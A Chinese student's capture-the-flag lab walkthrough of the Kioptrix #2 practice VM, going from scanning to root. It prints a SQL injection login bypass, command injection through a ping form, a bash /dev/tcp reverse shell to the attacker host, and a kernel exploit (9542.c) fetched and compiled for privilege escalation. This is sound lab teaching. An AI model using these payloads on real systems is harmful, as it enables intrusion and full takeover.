大家好,我是SuieKa。此是实训项目三,要求根据未知靶机(Kioptrix#2)探索漏洞,并利用漏洞进行权限提升实验项目,希望对朋友们有所帮助。
树
- 一、神器开路,对未知操作系统的全面扫描
- 1、SQL注入简单介绍
- 二、利用探索的漏洞获取shell
- 2、网络中的瑞士军刀----nc工具使用(原名:Netcat)
- 三、权限提升并获取关键字(hiroshima)
所谓CTF:CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为“Flag”。
也就是说CTF是一个安全竞赛项目罢了,参与CTF竞赛夺旗,拿分,也叫夺旗赛,里面分为三个竞赛模式:解题模式、攻防模式、混合模式。本来我本学期是可以参加此赛事哎,老师都叫上我了,可是由于学院参赛人数降了一个名次,我就只有下次咯
话不多说,分享我实训中获取得“Flag”(hiroshima)。
靶机Kioptrix下载地址:Kioptrix#2级
一、神器开路,对未知操作系统的全面扫描
实验拓扑图:
环境大致为:
kali linux:192.168.1.104(dhcp)
未知linux系统:(扫描后确认的ip):192.168.1.101
我们将下载好的实验对象(靶机)安装在VMware上,打开靶机就是这样的。
事先我们并不知道初始密码,无从下手,所以打开神器kali linux对目标进行探测。
1、kali 上使用nmap对目标系统进行探测
使用命令查看排除ip确认目标ip
root@wangzhike:~# arp-scan -l
(别看错啦,之前我扫的是103,之后重启过就改了ip地址:101)对于这种确认ip方式有很多种方法,我直接使用arp-scan -l进行排除
2、收集的信息、漏洞
root@wangzhike:~# nmap -O 192.168.1.101
root@wangzhike:~# nmap -sV -p- 192.168.1.101
还好,扫描ip后发现目标开启了很多端口(ssh、http、mysql),在这里我们要注重这三个端口。
由于目标开启了80端口,所以就从80口子入手先,使用浏览器康康是否存在index.php网页之类的东西存在。
访问80端口:http://192.168.1.101:80/
居然弹出一个web界面,还是输入用户及密码的那种!
接下来我们使用神器dirb目录扫描工具对目标网页进行深度挖掘,简单粗暴一点
root@wangzhike:~# dirb http://192.168.1.101/
对于扫出来的东西,我具体看了看,就发现了这么一个有价值的东西:
http://192.168.1.101/index.php?module=My_eGallery
这是可能存在SQL注入漏洞呀,我上网查了查找到以下信息:
大家对于这种web界面探测不要害怕,因为大部分都是这种经过多层次的扫描过后,找出"非正常"点,基本都是突破口,我也是误打误撞找到这东西,尝试使用SQL注入方式进行后一步操作的。
1、SQL注入简单介绍
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
一般用户登录用的SQL语句为:SELECT * FROM user WHERE username=‘admin’ AND password=‘passwd’,此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入’or 1#,SQL语句将变为:SELECT * FROM user WHERE username=’‘or 1#’ AND password=’’,‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。
需要了解SQL注入===》一位博客大佬的博文
所以,不光学习linux,SQL语句也要了解了解呀!!!
SQL注入的产生条件:
(1)、有参数传递
(2)、参数值带入数据库查询并且执行
大家可以使用DVWA简单测试了解一下,上面的博文有详细阐释
DVWA
3、尝试使用SQL注入方式登陆
这里是老师发的SQL注入_字符测试表,我试了几个还真登录进了呀我勒个去
Username:admin’or’1’=’1-
Password:不写
成功,可知存在SQL注入漏洞(可不止这一种,输入admin’#也可以进去)
二、利用探索的漏洞获取shell
由于我们SQL注入成功进入到界面,所以在这里就好操作了,对于这个框框,前面人家已经写了Ping a Machine on the Network,清清楚楚(在网络上Ping计算机),抱着好奇输入whoami报错,这样写吧:192.168.1.101;whoami,害,居然是这样的:
注意中间部分,不就是一个ping执行命令嘛,上面是输入值,最下面当然也就是whoami命令对应的值:apache。
再使用命令192.168.1.101;id(查看目标机用户的id)
果然,当前目标主机用户是apache,这样也可以啊???
那么之前我学过一个很强的工具不知道大家记得不:NC(网络瑞士军刀)
2、网络中的瑞士军刀----nc工具使用(原名:Netcat)
功能强大的网络工具,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。
nc各个参数介绍:
nc.exe -h即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时
nc的作用:
- 传输文件
- 网络测速
- 侦听端口(实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口)
- 克隆硬盘或分区
- 反弹服务器shell
详细介绍参考大佬文章博客园
既然都谈到侦听端口、反弹服务器shell的作用了,那就简单多了哈
1、反弹shell(使用nc工具)
在kali linux上使用nc开启侦听端口
直接输入内容:192.168.1.101;bash -i >& /dev/tcp/192.168.1.104/5555 0>&1
kali linux上弹出页面如下:
这样就进来啦,这么快。还好还好没有失败,大家需要注意的是输入的内容,错了不会反弹shell的
直接获取shell,但是不是管理员#,权限不够,因为之前就是apache用户在线
三、权限提升并获取关键字(hiroshima)
1、先使用简单命令康康能否使用
(在这里就要注意了,输入最好一次性输入完整,在这里tab键无效,输入值想改无效,也不能删除)
使用uname -r看了看显示一个内容,发现未知linux内核为2.6.9-55.EL.并且下面使用命令后弹出一个版本:centos 4.5
既然目的是为了权限提升,不找找漏洞不行呀,所以在这里我直接找找kali linux上是否有这个版本的漏洞???
2、使用kali搜索centos4.5版本的漏洞相关信息
root@wangzhike:~# searchsploit centos 4.5
居然还真的有、、、、、、中间那个就是最最最有价值的东西,漏洞文件:9542.c
然后在网上查找脚本源代码,发现了其中的奥妙。。。。。。
注意看第二个图,明摆着嘛,只要将文件传入目标内,使用gcc编译器就能够实现提权,用法都写着的。
那我开始操作了:
3、利用漏洞进行web提权
那么问题来了:
既然已经找到漏洞利用代码了,就想想如何将9542.c传至目标???
之前我做其他实验用到过kali中的apache服务,我们是否也能通过80端口将文件上传,使目标下载此文件呢???试试嘛
找到代码位置:/usr/share/exploitdb/exploits/linux_x86/local/9542.c
直接使用kali linux的apache上传用目标下载,直接将脚本复制到/var/www/html里,再将里面的index*文件删除,避免访问下载不了
开启apache服务
个人电脑访问如下
让目标下载到指定/tmp目录,使用gcc编译执行提权
bash-3.00$ cd /tmp
先使用gcc编译器编译成a.out文件,再执行此文件,成功啦!!!
权限也提升至root,接下来就是找Flag
由于我们是从index.php网页入手,肯定先康康网页是怎么写的
误打误撞找到了,关键字就在index.php文件里,这就是CTF中的flag,当然没有我这简单,查查文件就找到了、、、、、、
再看看里面果然有一句SQL语句,这就是SQL注入漏洞存在的原因吧
好啦,大二实训项目三分享结束了,有问题欢迎留言哟